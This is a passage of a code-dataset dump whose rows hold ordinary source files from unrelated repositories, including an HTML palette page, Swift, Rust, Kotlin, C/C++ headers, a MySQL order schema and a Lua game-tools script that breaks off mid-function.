hexsha stringlengths 40 40 | size int64 5 1.05M | ext stringclasses 98
values | lang stringclasses 21
values | max_stars_repo_path stringlengths 3 945 | max_stars_repo_name stringlengths 4 118 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 368k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 945 | max_issues_repo_name stringlengths 4 118 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 134k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 945 | max_forks_repo_name stringlengths 4 135 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 5 1.05M | avg_line_length float64 1 1.03M | max_line_length int64 2 1.03M | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
98ddd3db70b6c270908d068a988e1733d6f3b094 | 1,111 | html | HTML | index.html | SedueRey/palettes | 3caaf9c70f6febc0669ac3da33dddf2e7b6aafb0 | [
"Unlicense"
] | null | null | null | index.html | SedueRey/palettes | 3caaf9c70f6febc0669ac3da33dddf2e7b6aafb0 | [
"Unlicense"
] | null | null | null | index.html | SedueRey/palettes | 3caaf9c70f6febc0669ac3da33dddf2e7b6aafb0 | [
"Unlicense"
] | null | null | null | <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, minimum-scale=1.0">
<title>Palettes</title>
<link rel="stylesheet" href="sass/stylesheets/screen.css">
</head>
<body>
<section id="container">
<h1>Palettes</h1>
<p>All palettes are ordered darken 10%, palette and lighten 10%. Feel free to contribute</p>
<div class="palette law">
<h2>Law</h2>
<ul class="darkensix"><li></li><li></li><li></li><li></li><li></li><li></li></ul>
<ul class="six"><li></li><li></li><li></li><li></li><li></li><li></li></ul>
<ul class="lightensix"><li></li><li></li><li></li><li></li><li></li><li></li></ul>
</div>
<div class="palette winter">
<h2>Winter</h2>
<p class="from"><a href="https://dribbble.com/shots/1902908-Settings-study">From this Dribbble</a></p>
<ul class="darkenfive"><li></li><li></li><li></li><li></li><li></li></ul>
<ul class="five"><li></li><li></li><li></li><li></li><li></li></ul>
<ul class="lightenfive"><li></li><li></li><li></li><li></li><li></li></ul>
</div>
</section>
</body>
</html>
| 38.310345 | 105 | 0.583258 |
f233a08c027ae4f7a43523a02e3b289f0a9679ad | 1,218 | swift | Swift | LYSegmentController/Example/LYSegmentController/ViewController.swift | NSObject-Y/LYSegmentController | c701f776543dc470993f96491553d1f710606f3b | [
"MIT"
] | null | null | null | LYSegmentController/Example/LYSegmentController/ViewController.swift | NSObject-Y/LYSegmentController | c701f776543dc470993f96491553d1f710606f3b | [
"MIT"
] | null | null | null | LYSegmentController/Example/LYSegmentController/ViewController.swift | NSObject-Y/LYSegmentController | c701f776543dc470993f96491553d1f710606f3b | [
"MIT"
] | null | null | null | //
// ViewController.swift
// LYSegmentController
//
// Created by NSObject_Y on 01/10/2019.
// Copyright (c) 2019 NSObject_Y. All rights reserved.
//
import UIKit
import LYSegmentController
class ViewController: UIViewController {
private var segmentPageNav: SegmentSliderController?
override func viewDidLoad() {
super.viewDidLoad()
self.setSegmentPageNav()
}
//MARK:搜索
func setSegmentPageNav() -> Void {
let titles = ["推荐","获取","无语"];
segmentPageNav = SegmentSliderController(HHMade: self, titles: titles)
segmentPageNav?.delegate = self
segmentPageNav?.childsViewControllers = [ThreeViewController(),SecViewController(),FirstViewController()]
self.view.addSubview(segmentPageNav!)
print("噶你")
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
}
extension ViewController:SegementSliderDetegate{
func segmentController(_ controller: SegmentSliderController, selectIndex index: Int) {
}
func selectImageClick() {
print("搜索------")
}
}
| 24.857143 | 113 | 0.651888 |
76e5ed55ac62913a4a6bde1607a066de4721e3db | 672 | h | C | src/circuits/decoding.h | Alan-Robertson/qecode | fc01e6f66a7fbe4f6b2bda6b3874fd6e5b10c628 | [
"MIT"
] | 4 | 2018-03-07T06:15:32.000Z | 2021-11-17T10:50:15.000Z | src/circuits/decoding.h | Alan-Robertson/qecode | fc01e6f66a7fbe4f6b2bda6b3874fd6e5b10c628 | [
"MIT"
] | null | null | null | src/circuits/decoding.h | Alan-Robertson/qecode | fc01e6f66a7fbe4f6b2bda6b3874fd6e5b10c628 | [
"MIT"
] | null | null | null | #ifndef CIRCUIT_DECODING
#define CIRCUIT_DECODING
#include "circuit.h"
#include "unitary.h"
/*
* decoding_circuit_from_encoding
* Given the encoding circuit, reverses it to get the decoding circuit
* :: circuit* encode :: The circuit to create the unitary from
* Returns the decoding circuit
*/
circuit* decoding_circuit_from_encoding(circuit* encode);
/*
* decoding_circuit_from_encoding
* Given the encoding circuit, reverses it to get the decoding circuit
* :: circuit* encode :: The circuit to create the unitary from
* Returns the decoding circuit
*/
circuit* decoding_circuit_from_encoding(circuit* encode)
{
return create_unitary(encode);
}
#endif | 24.888889 | 70 | 0.769345 |
060073b43a9d64601be32fcf5c10650b2b219b1c | 442 | rs | Rust | examples/hello_world_upsert_sync.rs | ApolloCrawler/gauc | 9faca45fdfd13a5ffb65c0f75f8748a83a271a81 | [
"MIT"
] | 3 | 2016-11-13T15:00:06.000Z | 2018-05-01T15:51:38.000Z | examples/hello_world_upsert_sync.rs | ApolloCrawler/gauc | 9faca45fdfd13a5ffb65c0f75f8748a83a271a81 | [
"MIT"
] | 18 | 2016-11-02T01:13:07.000Z | 2017-04-01T00:06:11.000Z | examples/hello_world_upsert_sync.rs | ApolloCrawler/gauc | 9faca45fdfd13a5ffb65c0f75f8748a83a271a81 | [
"MIT"
] | 3 | 2016-10-19T23:30:43.000Z | 2018-12-06T22:07:50.000Z | extern crate gauc;
extern crate env_logger;
use gauc::client::*;
fn main() {
env_logger::init().unwrap();
if let Ok(mut client) = Client::connect("couchbase://korczis.com/default") {
let res = client.upsert_sync("hello_world_upsert_sync", "{{\"msg\": \"This is sync upsert!\"}}", 0, 0);
println!("{:?}", res);
let res = client.get_sync("hello_world_upsert_sync", 0);
println!("{:?}", res);
}
}
| 26 | 111 | 0.590498 |
699d613d2fddf6861123c679debe540856f77136 | 2,519 | swift | Swift | AssistantV1.playground/Pages/Synonyms.xcplaygroundpage/Contents.swift | JessieTW2019/watson-developer-cloud | 37f73e620f3624b4d828704e5a27511a97efe9e7 | [
"Apache-2.0"
] | null | null | null | AssistantV1.playground/Pages/Synonyms.xcplaygroundpage/Contents.swift | JessieTW2019/watson-developer-cloud | 37f73e620f3624b4d828704e5a27511a97efe9e7 | [
"Apache-2.0"
] | null | null | null | AssistantV1.playground/Pages/Synonyms.xcplaygroundpage/Contents.swift | JessieTW2019/watson-developer-cloud | 37f73e620f3624b4d828704e5a27511a97efe9e7 | [
"Apache-2.0"
] | null | null | null | //:## Synonyms
import PlaygroundSupport
// Enable support for asynchronous completion handlers
PlaygroundPage.current.needsIndefiniteExecution = true
import AssistantV1
let assistant = setupAssistantV1()
let workspaceID = WatsonCredentials.AssistantV1Workspace
// Setup
assistant.createEntity(
workspaceID: workspaceID,
entity: "beverage",
values: [
CreateValue(value: "water"),
CreateValue(value: "orange juice"),
CreateValue(value: "soda", synonyms: ["pop", "soft drink"])
])
{
response, error in
guard let entity = response?.result else {
print(error?.localizedDescription ?? "unknown error")
return
}
}
//:### List entity value synonyms
assistant.listSynonyms(workspaceID: workspaceID, entity: "beverage", value: "soda") {
response, error in
guard let synonyms = response?.result else {
print(error?.localizedDescription ?? "unknown error")
return
}
print(synonyms)
}
//:### Add entity value synonym
assistant.createSynonym(
workspaceID: workspaceID,
entity: "beverage",
value: "orange juice",
synonym: "OJ")
{
response, error in
guard let synonym = response?.result else {
print(error?.localizedDescription ?? "unknown error")
return
}
print(synonym)
}
//:### Get entity value synonym
assistant.getSynonym(
workspaceID: workspaceID,
entity: "beverage",
value: "orange juice",
synonym: "OJ")
{
response, error in
guard let synonym = response?.result else {
print(error?.localizedDescription ?? "unknown error")
return
}
print(synonym)
}
//:### Update entity value synonym
assistant.updateSynonym(
workspaceID: workspaceID,
entity: "beverage",
value: "orange juice",
synonym: "OJ",
newSynonym: "O.J.")
{
response, error in
guard let synonym = response?.result else {
print(error?.localizedDescription ?? "unknown error")
return
}
print(synonym)
}
//:### Delete entity value synonym
assistant.deleteSynonym(
workspaceID: workspaceID,
entity: "beverage",
value: "orange juice",
synonym: "O.J.")
{
_, error in
if let error = error {
print(error.localizedDescription)
return
}
print("synonym deleted")
}
// Cleanup
assistant.deleteEntity(workspaceID: workspaceID, entity: "beverage") {
_, error in
if let error = error {
print(error.localizedDescription)
return
}
}
| 19.679688 | 85 | 0.646288 |
8bf3eb96659ff81ce4cb62ffc66d204cd3921ca7 | 2,249 | kt | Kotlin | src/main/kotlin/com/github/martinsucha/idedynamicsecrets/DynamicSecretsGoRunConfigurationExtension.kt | martin-sucha/ide-dynamic-secrets | 539bbe2f51d657d38771e4349c67e9ae8fe83e3b | [
"Apache-2.0"
] | 9 | 2021-01-11T09:10:59.000Z | 2021-07-28T05:06:33.000Z | src/main/kotlin/com/github/martinsucha/idedynamicsecrets/DynamicSecretsGoRunConfigurationExtension.kt | martin-sucha/ide-dynamic-secrets | 539bbe2f51d657d38771e4349c67e9ae8fe83e3b | [
"Apache-2.0"
] | 2 | 2021-01-17T11:23:47.000Z | 2021-09-28T15:19:28.000Z | src/main/kotlin/com/github/martinsucha/idedynamicsecrets/DynamicSecretsGoRunConfigurationExtension.kt | martin-sucha/ide-dynamic-secrets | 539bbe2f51d657d38771e4349c67e9ae8fe83e3b | [
"Apache-2.0"
] | null | null | null | package com.github.martinsucha.idedynamicsecrets
import com.goide.execution.GoRunConfigurationBase
import com.goide.execution.GoRunningState
import com.goide.execution.extension.GoRunConfigurationExtension
import com.intellij.execution.configurations.RunnerSettings
import com.intellij.execution.target.TargetedCommandLineBuilder
import com.intellij.openapi.options.SettingsEditor
import org.jdom.Element
class DynamicSecretsGoRunConfigurationExtension : GoRunConfigurationExtension() {
override fun patchCommandLine(
configuration: GoRunConfigurationBase<*>,
runnerSettings: RunnerSettings?,
cmdLine: TargetedCommandLineBuilder,
runnerId: String,
state: GoRunningState<out GoRunConfigurationBase<*>>,
commandLineType: GoRunningState.CommandLineType,
) {
if (commandLineType != GoRunningState.CommandLineType.RUN) {
return
}
val envVarConfiguration = configuration.getUserData(EDITOR_KEY) ?: return
val result = buildEnvVarsWithProgress(configuration.project, envVarConfiguration)
for (envVar in result.vars) {
cmdLine.addEnvironmentVariable(envVar.key, envVar.value)
}
state.addProcessListener(DynamicSecretsProcessListener(result.disposable))
}
override fun isApplicableFor(p0: GoRunConfigurationBase<*>): Boolean = true
override fun isEnabledFor(p0: GoRunConfigurationBase<*>, p1: RunnerSettings?): Boolean = true
override fun getEditorTitle(): String {
return "Dynamic Secrets"
}
override fun <P : GoRunConfigurationBase<*>> createEditor(configuration: P): SettingsEditor<P> {
return DynamicSecretsSettingsEditor(configuration.project)
}
override fun readExternal(runConfiguration: GoRunConfigurationBase<*>, element: Element) {
val state = readEnvVarConfigurationFromElement(element)
runConfiguration.putUserData(EDITOR_KEY, state)
}
override fun writeExternal(runConfiguration: GoRunConfigurationBase<*>, element: Element) {
val state = runConfiguration.getUserData(EDITOR_KEY) ?: return
writeEnvVarConfigurationToElement(state, element)
}
override fun getSerializationId(): String = SERIALIZATION_ID
}
| 41.648148 | 100 | 0.75189 |
ebb322c0fad0e913734ddab6783dfed00391dc8d | 9,085 | rs | Rust | src/character_list.rs | jnichols-pdx/raspberry-tracker | b4c9799c63a8612d528c7af82e6f9ddf5e330f62 | [
"Apache-2.0"
] | null | null | null | src/character_list.rs | jnichols-pdx/raspberry-tracker | b4c9799c63a8612d528c7af82e6f9ddf5e330f62 | [
"Apache-2.0"
] | 2 | 2022-03-31T03:39:31.000Z | 2022-03-31T04:29:18.000Z | src/character_list.rs | jnichols-pdx/raspberry-tracker | b4c9799c63a8612d528c7af82e6f9ddf5e330f62 | [
"Apache-2.0"
] | null | null | null | use crate::character::*;
use crate::common::*;
use crate::db::DatabaseSync;
use crate::session::Session;
use crate::session_list::SessionList;
use egui::{Color32, ScrollArea};
use std::sync::Arc;
use time::OffsetDateTime;
use tokio::sync::{mpsc, RwLock};
use tokio_tungstenite::tungstenite::protocol::Message;
pub struct CharacterList {
pub characters: Vec<Character>,
pub new_char_name: String,
pub message: Option<String>,
pub websocket_out: mpsc::Sender<Message>,
pub session_list: Arc<RwLock<SessionList>>,
pub logout_websocket_out: mpsc::Sender<Message>,
}
impl CharacterList {
pub fn new(
ws_out: mpsc::Sender<Message>,
sl: Arc<RwLock<SessionList>>,
ws_logout_out: mpsc::Sender<Message>,
) -> Self {
CharacterList {
characters: Vec::new(),
new_char_name: "".to_owned(),
message: None,
websocket_out: ws_out,
session_list: sl,
logout_websocket_out: ws_logout_out,
}
}
pub fn push(&mut self, new_char: Character) {
self.characters.push(new_char);
}
pub fn has_auto_tracked(&self, target_id: String) -> bool {
println!("track check for >{}<", target_id);
if let Some(target) = self.find_character_by_id(target_id) {
target.auto_track
} else {
false
}
}
pub fn find_character_by_id(&self, target_id: String) -> Option<&Character> {
self.characters
.iter()
.find(|&chara| chara.character_id.eq(&target_id))
}
pub fn update_entry_from_full(&mut self, newer_char: &FullCharacter) {
if let Some(mut target) = self
.characters
.iter_mut()
.find(|chara| (**chara).character_id.eq(&newer_char.character_id))
{
target.full_name = newer_char.full_name.to_owned();
target.lower_name = newer_char.lower_name.to_owned();
target.server = newer_char.server;
if let Some(outfit_alias) = &newer_char.outfit {
target.outfit = Some(outfit_alias.to_owned());
} else {
target.outfit = None;
}
if let Some(outfit_name) = &newer_char.outfit {
target.outfit_full = Some(outfit_name.to_owned());
} else {
target.outfit_full = None;
}
target.character_id = newer_char.character_id.to_owned();
target.faction = newer_char.faction;
}
}
}
impl ViewWithDB for CharacterList {
fn ui(&mut self, ctx: &egui::Context, db: &DatabaseSync) {
egui::CentralPanel::default().show(ctx, |ui| {
ui.horizontal(|ui| {
ui.label("Track Character: ");
ui.text_edit_singleline(&mut self.new_char_name);
if ui.button("Track").clicked() && !self.new_char_name.is_empty() {
match lookup_character_id(&self.new_char_name) {
Ok(None) => {println!("no results");
self.message = Some(format!("Character \"{}\" Not Found", self.new_char_name));
},
Err(whut) => {println!("{}", whut);
self.message = Some("Census Error".to_string());
},
Ok(Some(char_id)) => {
println!("character_id: {}", char_id);
match lookup_new_char_details(&char_id) {
Err(whut) => println!("{}", whut),
Ok(details) => {
println!("RAW: {:?}", details);
let bob = Character::from_json(&details).unwrap();
let _res = self.websocket_out.blocking_send(
Message::Text(format!("{{\"service\":\"event\",\"action\":\"subscribe\",\"characters\":[\"{}\"],\"eventNames\":[\"PlayerLogin\",\"PlayerLogout\"]}}",
bob.character_id)));
if db.save_new_char_sync(&bob) {
self.characters.push(bob);
}
},
}
self.message = None;
}
}
self.new_char_name = "".to_owned();
}
});
match &self.message {
Some(msg) => {
ui.label(egui::RichText::new(msg).color(Color32::from_rgb(200,0,0)));
ui.separator();
},
None => {ui.add(egui::Separator::default().spacing(20.0));},
}
let scroll_chars = ScrollArea::vertical().auto_shrink([false; 2]);
for char in &mut self.characters {
if char.to_track {
match self.websocket_out
.blocking_send( Message::Text(subscribe_session_string(&char.character_id))) {
Err(e) => println!("dah {:?}",e),
Ok(_) => {
//HERE
match lookup_new_char_details(&char.character_id) {
Err(whut) => println!("{}", whut),
Ok(details) => {
let active_char = FullCharacter::from_json(&details).unwrap();
db.update_char_with_full_sync(&active_char);
char.full_name = active_char.full_name.to_owned();
char.lower_name = active_char.lower_name.to_owned();
char.server = active_char.server;
if let Some(outfit_alias) = &active_char.outfit {
char.outfit = Some(outfit_alias.to_owned());
} else {
char.outfit = None;
}
if let Some(outfit_name) = &active_char.outfit {
char.outfit_full = Some(outfit_name.to_owned());
} else {
char.outfit_full = None;
}
char.character_id = active_char.character_id.to_owned();
char.faction = active_char.faction;
{
let mut session_list_rw = self.session_list.blocking_write();
session_list_rw.push(
Session::new(
active_char,
OffsetDateTime::now_utc().unix_timestamp(),
db.clone()
)
);
}
},
}
},
}
let _logout_res = self.logout_websocket_out.blocking_send(Message::Text(
subscribe_logouts_string(&char.server.as_id_string()),
));
char.to_track = false;
}
if char.changed_auto_track {
db.set_char_auto_track_sync(char);
char.changed_auto_track = false;
}
}
scroll_chars.show(ui, |ui| {
for char in &mut self.characters {
if char.to_remove {
db.remove_char_sync(char);
let _res = self.websocket_out.blocking_send(
Message::Text(format!("{{\"service\":\"event\",\"action\":\"clearSubscribe\",\"characters\":[\"{}\"]}}",
char.character_id).to_owned()));
}
}
self.characters.retain(|char| !char.to_remove);
for char in &mut self.characters {
char.draw(ui);
ui.separator();
}
});
});
}
fn draw(&mut self, _ui: &mut egui::Ui) {}
}
| 43.261905 | 157 | 0.417832 |
5c795ecf5ecfad281de41307c53135b44dc17a88 | 2,651 | h | C | searchcore/src/vespa/searchcore/proton/server/transactionlogmanagerbase.h | Anlon-Burke/vespa | 5ecd989b36cc61716bf68f032a3482bf01fab726 | [
"Apache-2.0"
] | 4,054 | 2017-08-11T07:58:38.000Z | 2022-03-31T22:32:15.000Z | searchcore/src/vespa/searchcore/proton/server/transactionlogmanagerbase.h | Anlon-Burke/vespa | 5ecd989b36cc61716bf68f032a3482bf01fab726 | [
"Apache-2.0"
] | 4,854 | 2017-08-10T20:19:25.000Z | 2022-03-31T19:04:23.000Z | searchcore/src/vespa/searchcore/proton/server/transactionlogmanagerbase.h | Anlon-Burke/vespa | 5ecd989b36cc61716bf68f032a3482bf01fab726 | [
"Apache-2.0"
] | 541 | 2017-08-10T18:51:18.000Z | 2022-03-11T03:18:56.000Z | // Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.
#pragma once
#include <vespa/searchlib/common/serialnum.h>
#include <vespa/vespalib/util/time.h>
#include <mutex>
#include <condition_variable>
namespace search::transactionlog::client {
class TransLogClient;
class Session;
class Visitor;
class Callback;
}
namespace proton {
/**
* Base class managing the initialization and replay of a transaction log.
**/
class TransactionLogManagerBase {
protected:
using TransLogClient = search::transactionlog::client::TransLogClient;
using Session = search::transactionlog::client::Session;
using Visitor = search::transactionlog::client::Visitor;
using Callback = search::transactionlog::client::Callback;
private:
std::unique_ptr<TransLogClient> _tlc;
std::unique_ptr<Session> _tlcSession;
vespalib::string _domainName;
mutable std::mutex _replayLock;
mutable std::condition_variable _replayCond;
volatile bool _replayDone;
bool _replayStarted;
vespalib::Timer _replayStopWatch;
protected:
using SerialNum = search::SerialNum;
struct StatusResult {
SerialNum serialBegin;
SerialNum serialEnd;
size_t count;
StatusResult() : serialBegin(0), serialEnd(0), count(0) {}
};
StatusResult init();
void internalStartReplay();
virtual void doLogReplayComplete(const vespalib::string &domainName, vespalib::duration elapsedTime) const = 0;
public:
TransactionLogManagerBase(const TransactionLogManagerBase &) = delete;
TransactionLogManagerBase & operator = (const TransactionLogManagerBase &) = delete;
/**
* Create a new manager.
*
* @param tlsSpec the spec of the transaction log server.
* @param domainName the name of the domain this manager should handle.
**/
TransactionLogManagerBase(const vespalib::string &tlsSpec,
const vespalib::string &domainName);
virtual ~TransactionLogManagerBase();
void changeReplayDone();
void close();
std::unique_ptr<Visitor> createTlcVisitor(Callback &callback);
void waitForReplayDone() const;
TransLogClient &getClient() { return *_tlc; }
Session *getSession() { return _tlcSession.get(); }
const vespalib::string &getDomainName() const { return _domainName; }
bool getReplayDone() const;
bool isDoingReplay() const;
void logReplayComplete() const;
const vespalib::string &getRpcTarget() const;
};
} // namespace proton
| 32.728395 | 115 | 0.685402 |
1d6399d528a0e2405cc3fb76bbd6414c2f15aad7 | 2,311 | sql | SQL | Script/cloud_order.sql | ez1215/spring-cloud-study | 1ee89e03362376ab5c5e21c2d718812281b8c201 | [
"Apache-2.0"
] | null | null | null | Script/cloud_order.sql | ez1215/spring-cloud-study | 1ee89e03362376ab5c5e21c2d718812281b8c201 | [
"Apache-2.0"
] | null | null | null | Script/cloud_order.sql | ez1215/spring-cloud-study | 1ee89e03362376ab5c5e21c2d718812281b8c201 | [
"Apache-2.0"
] | null | null | null | /*
Navicat MySQL Data Transfer
Source Server : 120.24.163.146
Source Server Version : 80018
Source Host : 120.24.163.146:3306
Source Database : cloud_order
Target Server Type : MYSQL
Target Server Version : 80018
File Encoding : 65001
Date: 2020-04-18 18:43:42
*/
SET FOREIGN_KEY_CHECKS=0;
-- ----------------------------
-- Table structure for `t_order`
-- ----------------------------
DROP TABLE IF EXISTS `t_order`;
CREATE TABLE `t_order` (
`id` int(11) unsigned zerofill NOT NULL AUTO_INCREMENT COMMENT '主键',
`user_id` int(11) DEFAULT NULL COMMENT '用户id',
`order_no` varchar(30) DEFAULT NULL COMMENT '订单号',
`order_state` int(5) DEFAULT '0' COMMENT '订单状态 0:待付款,1:待发货,2:待收货,3:已完成,4:已取消',
`order_amount` double(11,2) DEFAULT NULL COMMENT '订单金额',
`pay_amount` double(11,2) DEFAULT NULL COMMENT '支付金额',
`order_count` int(11) DEFAULT NULL COMMENT '商品数量',
`pay_time` datetime DEFAULT NULL COMMENT '支付时间',
`coupon_id` varchar(200) DEFAULT NULL COMMENT '优惠券id,如果有',
`goods_id` varchar(200) DEFAULT NULL COMMENT '商品id(多个商品时用,隔开)',
`sku_id` varchar(200) DEFAULT NULL COMMENT 'skuid(多个时用,隔开)',
`create_time` datetime DEFAULT NULL COMMENT '下单时间',
`update_time` datetime DEFAULT NULL COMMENT '更新时间',
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
-- ----------------------------
-- Records of t_order
-- ----------------------------
INSERT INTO `t_order` VALUES ('00000000001', '1', 'ae9f2df86ffe88d4', '0', '5399.00', '5399.00', '1', null, null, '1', '1', '2020-04-15 17:59:38', '2020-04-15 17:59:38');
-- ----------------------------
-- Table structure for `undo_log`
-- ----------------------------
DROP TABLE IF EXISTS `undo_log`;
CREATE TABLE `undo_log` (
`id` bigint(20) NOT NULL AUTO_INCREMENT,
`branch_id` bigint(20) NOT NULL,
`xid` varchar(100) NOT NULL,
`context` varchar(128) NOT NULL,
`rollback_info` longblob NOT NULL,
`log_status` int(11) NOT NULL,
`log_created` datetime NOT NULL,
`log_modified` datetime NOT NULL,
`ext` varchar(100) DEFAULT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `ux_undo_log` (`xid`,`branch_id`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;
-- ----------------------------
-- Records of undo_log
-- ----------------------------
| 35.553846 | 170 | 0.628732 |
789b09639d0e8ad156157f3926193458d138dc74 | 71,021 | lua | Lua | Assets/sgk/Lua/utils/SGKTools.lua | freeGamePerson/dev_update | 80f75ff1ba6fd0d008e6a4989c2ba09e48129c38 | [
"BSD-3-Clause"
] | 1 | 2019-12-30T06:54:48.000Z | 2019-12-30T06:54:48.000Z | Assets/sgk/Lua/utils/SGKTools.lua | freeGamePerson/dev_update | 80f75ff1ba6fd0d008e6a4989c2ba09e48129c38 | [
"BSD-3-Clause"
] | null | null | null | Assets/sgk/Lua/utils/SGKTools.lua | freeGamePerson/dev_update | 80f75ff1ba6fd0d008e6a4989c2ba09e48129c38 | [
"BSD-3-Clause"
] | 3 | 2019-12-30T06:54:52.000Z | 2020-12-31T10:04:10.000Z | local SmallTeamDungeonConf = require "config.SmallTeamDungeonConf"
local battleCfg = require "config.battle"
local skill = require "config.skill"
local ActivityTeamlist = require "config.activityConfig"
local openLevel = require "config.openLevel"
local SGKTools = {}
local LockMapObj = nil
local LockMapObj_count = 0;
function SGKTools.LockMapClick(status,time)
LockMapObj_count = LockMapObj_count + (status and 1 or -1);
if LockMapObj_count < 0 then
WARNING_LOG("SGKTools.LockMapClick count < 0", debug.traceback())
LockMapObj_count = 0;
end
if LockMapObj_count > 0 then
if LockMapObj == nil then
LockMapObj = GetUIParent(SGK.ResourcesManager.Load("prefabs/base/LockFrame.prefab"))
end
LockMapObj:SetActive(true)
module.MapModule.SetMapIsLock(true)
elseif LockMapObj_count == 0 then
if LockMapObj then
LockMapObj:SetActive(false)
end
module.MapModule.SetMapIsLock(false)
end
if status and time then
SGK.Action.DelayTime.Create(time):OnComplete(function()
SGKTools.LockMapClick(false)
end)
end
end
local is_open = false
local open_list = {}
function SGKTools.HeroShow(id,fun, delectTime, showDetail,IsHaveHero, sound)
if is_open then
open_list[#open_list+1] = {id, fun, delectTime, showDetail}
else
local heroInfo = showDetail and module.HeroModule.GetInfoConfig(id) or module.HeroModule.GetConfig(id)
--ERROR_LOG("heroInfo============>>>>",sprinttb(heroInfo))
if heroInfo then
is_open = true
local obj = SGK.ResourcesManager.Load("prefabs/base/HeroShow.prefab")
if UnityEngine.GameObject.FindWithTag("UGUITopRoot") then
obj = CS.UnityEngine.GameObject.Instantiate(obj, UnityEngine.GameObject.FindWithTag("UGUITopRoot").gameObject.transform)
elseif UnityEngine.GameObject.FindWithTag("UITopRoot") then
obj = CS.UnityEngine.GameObject.Instantiate(obj, UnityEngine.GameObject.FindWithTag("UITopRoot").gameObject.transform)
else
obj = CS.UnityEngine.GameObject.Instantiate(obj)
end
local view = CS.SGK.UIReference.Setup(obj)
--分享功能
CS.UGUIClickEventListener.Get(view.Root.shareBtn.weixing.gameObject).onClick=function ()
DialogStack.PushPrefStact("shareFrame",{name="HeroesShow"},view.Root)
end
local _removeFunc = function()
if showDetail then
DispatchEvent("story_frame_hide_camera", false)
end
CS.UnityEngine.GameObject.Destroy(obj)
--CS.UnityEngine.GameObject.Destroy(HeroOBJ)
is_open = false
if #open_list > 0 then
SGKTools.HeroShow(unpack(open_list[1]))
table.remove(open_list,1)
elseif fun then
fun()
end
if showDetail then
DispatchEvent("stop_automationBtn",{automation = true,mandatory = false})
end
DispatchEvent("Continue_Show_DrawCard")
end
local _mode = showDetail and heroInfo.mode_id or heroInfo.__cfg.mode
local _name = showDetail and heroInfo.name or heroInfo.__cfg.name
local _title = showDetail and heroInfo.pinYin or heroInfo.__cfg.info_title
local _info = showDetail and heroInfo.info or heroInfo.__cfg.info
if showDetail then
SGK.ResourcesManager.LoadAsync(view[SGK.UIReference],"prefabs/effect/UI/jues_appear.prefab",function (temp)
local HeroOBJ = GetUIParent(temp,obj.transform)
local HeroView = CS.SGK.UIReference.Setup(HeroOBJ)
local Animation = HeroView.jues_appear_ani.jues.gameObject:GetComponent(typeof(CS.Spine.Unity.SkeletonAnimation));
DispatchEvent("stop_automationBtn",{automation = false,mandatory = false,hide_story_camera = true})
DispatchEvent("story_frame_hide_camera", true)
Animation.skeletonDataAsset = SGK.ResourcesManager.Load("roles/".._mode.."/".._mode.."_SkeletonData.asset");
Animation:Initialize(true);
HeroView.jues_appear_ani.name_Text[UnityEngine.TextMesh].text = _name
HeroView.jues_appear_ani.name_Text[1][UnityEngine.TextMesh].text = _name
HeroView.jues_appear_ani.name_Text[2][UnityEngine.TextMesh].text = _name
HeroView.jues_appear_ani.name2_Text[UnityEngine.TextMesh].text = _title
HeroView.jues_appear_ani.bai_tiao:SetActive(not not showDetail)
HeroView.jues_appear_ani.bai_tiao.sanj_jsjs_bai.jies_Text[UnityEngine.TextMesh].text = _info
if delectTime then
HeroView.transform:DOLocalMove(Vector3(0, 0, 0), delectTime):OnComplete(function ( ... )
_removeFunc()
end)
end
end)
else
view.Root:SetActive(true);
if IsHaveHero then
view.Root.Bg:SetActive(false)
elseif heroInfo.quest_id and heroInfo.quest_id ~= 0 then
local quest_cfg = module.QuestModule.GetCfg(heroInfo.quest_id)
if quest_cfg then
local rewardid = quest_cfg.cfg.raw.reward_id1
local heroBuff= require "hero.HeroBuffModule"
local buffId =heroBuff.GetBuffConfig(rewardid)
local parameterShowInfo = require "config.ParameterShowInfo"
local parameter = parameterShowInfo.Get(buffId.type)
view.Root.Bg.collectReward[UI.Text].text="收集奖励:".."全体" .. parameter.name .. "+" ..quest_cfg.cfg.raw.reward_value1
-- view.Root.Bg.collectReward.describe[UI.Text].text=parameter.desc
-- view.Root.Bg.collectReward.value[UI.Text].text="+" .. quest_cfg.cfg.raw.reward_value1
view.Root.Bg:SetActive(true)
else
view.Root.Bg:SetActive(false)
end
else
view.Root.Bg:SetActive(false)
end
view.Root.info.name[UI.Text].text = _name;
view.Root.info.title[UI.Text].text = _title;
local cfg = module.HeroModule.GetConfig(id);
view.Root.bg[CS.UGUISpriteSelector].index = cfg.role_stage - 1;
view.Root.rare[CS.UGUISpriteSelector].index = cfg.role_stage - 1;
local animation = view.Root.spine[CS.Spine.Unity.SkeletonGraphic];
local pos,scale = DATABASE.GetBattlefieldCharacterTransform(tostring(_mode), "ui")
view.Root.spine.transform.localPosition = pos * 100;
view.Root.spine.transform.localScale = scale;
SGK.ResourcesManager.LoadAsync(animation, "roles/".._mode.."/".._mode.."_SkeletonData.asset",function (resource)
DispatchEvent("stop_automationBtn",{automation = false,mandatory = false})
animation.skeletonDataAsset = resource;
animation.startingAnimation = "idle";
animation.startingLoop = true;
animation:Initialize(true);
if delectTime then
